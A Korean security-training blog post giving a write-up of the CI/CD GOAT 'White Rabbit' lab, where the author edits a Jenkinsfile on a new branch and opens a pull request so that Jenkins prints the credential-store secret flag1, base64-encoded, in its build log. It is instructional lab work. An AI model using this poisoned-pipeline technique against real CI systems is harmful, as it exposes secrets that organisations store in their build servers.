| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
- React
- 백엔드
- SK쉴더스
- 알고리즘
- 웹개발
- 깃
- sk쉴더스 루키즈
- 애플리케이션 계층
- 레나튜토리얼
- 코리안챔버오케스트라
- c
- Dreamhack
- 위상 정렬
- linux
- SK쉴더스루키즈
- sk 쉴더스 루키즈
- 악성코드 분석
- 프리코스
- 우아한테크코스
- 루키즈 31기
- 예술의 전당
- 우테코
- 진입차수
- 프랑스어 #프랑스어배우기 #프랑스어독학 #델프인강 #시원스쿨프랑스어 #delf독학 #델프 #프랑스어기초 #프랑스어공부
- 동적분석
- 루키즈31기
- Practical Malware Analysis Labs
- webhacking
- 서울청년문화패스
- 자바
- Today
- Total
yon11b
[SK 쉴더스 루키즈] [CI/CD GOAT] White Rabbit 문제 Write up 본문
문제

풀이
1. 사전 지식 점검
CICD GOAT의 환경은 이런 구조로 되어있다.

이번 문제에서는 Gitea-Jenkins만 이해하면 된다.
Gitea
코드 관리해주는 곳.
Github이랑 비슷한 느낌
Jenkins
Gitea 코드 변경되면 자동으로 빌드·테스트·배포까지 해주는 서버
코드 변경 -> Jenkins가 빌드 -> 그 로그기록을 Jenkins UI에서 볼 수 있음

jenkins는 8080에서, gitea는 3000에서 돌아간다.
2. 진짜 풀이
방향 잡기
문제를 보면 Jenkins credential store에 있는 flag1을 찾으라고 한다.
Jenkins credential store은 어떻게 접근할까?
1. Jenkins 웹UI에서 접근

-> 관리자 권한 없어서 못함
2. Jenkinsfile을 통해서 빼내기
-> 이 방식을 사용해보자!
gitea 코드가 수정되면 jenkins는 가장 먼저 jenkinsfile을 보고 어떻게 빌드할지를 결정한다.
또, Jenkinsfile은 credentials("flag1") 구문을 통해, 해당 Job에 사용 권한이 있는 Jenkins Credential을 환경변수로 주입받을 수 있다.
따라서 우리는 jenkinsfile을 조작하면 된다.
Jenkinsfile 수정하기
수정하려고 봤더니 main 브랜치에서는 권한이 없어서 수정이 안 된다.
그래서 hack 브랜치를 새로 만들고 Jenkinsfile 를 다음과 같이 수정했다.
pipeline {
agent any
environment {
FLAG = credentials("flag1")
}
stages {
stage ('Show flag1') {
steps {
sh """
echo $FLAG | base64
"""
}
}
}
post {
always {
cleanWs()
}
}
}
base64 인코딩 한 이유: 중간에 특수문자때문에 일부 문자가 소실 될까봐 인코딩을 한 것이다.

수정만 해서는 Jenkins가 작동하지 않는다. 어떻게든 main이 감지할 수 있도록 깔짝대야 한다.
그러기 위해서 hack 브랜치를 PR 날려준다.

그럼 이렇게 Jenkins UI에서 빌드내역을 확인할 수 있다.
show flag stage에서 base64로 인코딩된 flag1을 확인할 수 있다.

저 문자열을 디코딩해서 나온 값을 ctfd에 가서 정답 입력해주면 된다.

전체 흐름 정리
Gitea에서 브랜치 생성
→ Jenkinsfile 수정
→ PR 생성
→ Jenkins 빌드 트리거
→ credentials("flag1")로 flag1 주입
→ echo $FLAG | base64 실행
→ Jenkins 로그에서 base64 값 확인
→ 디코딩 후 제출
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] [DVWA] 파일 업로드 취약점 실습 (0) | 2026.05.01 |
|---|---|
| [SK 쉴더스 루키즈] [CI/CD GOAT] Mad Hatter 문제 Write up (0) | 2026.04.30 |
| [SK 쉴더스 루키즈] 애플리케이션 보안: OWASP 10, NodeGoat, bWAPP 실습 (0) | 2026.04.30 |
| [SK 쉴더스 루키즈] 애플리케이션: Flask, Opensearch (0) | 2026.04.29 |
| [SK 쉴더스 루키즈] VPC endpoint (0) | 2026.04.22 |
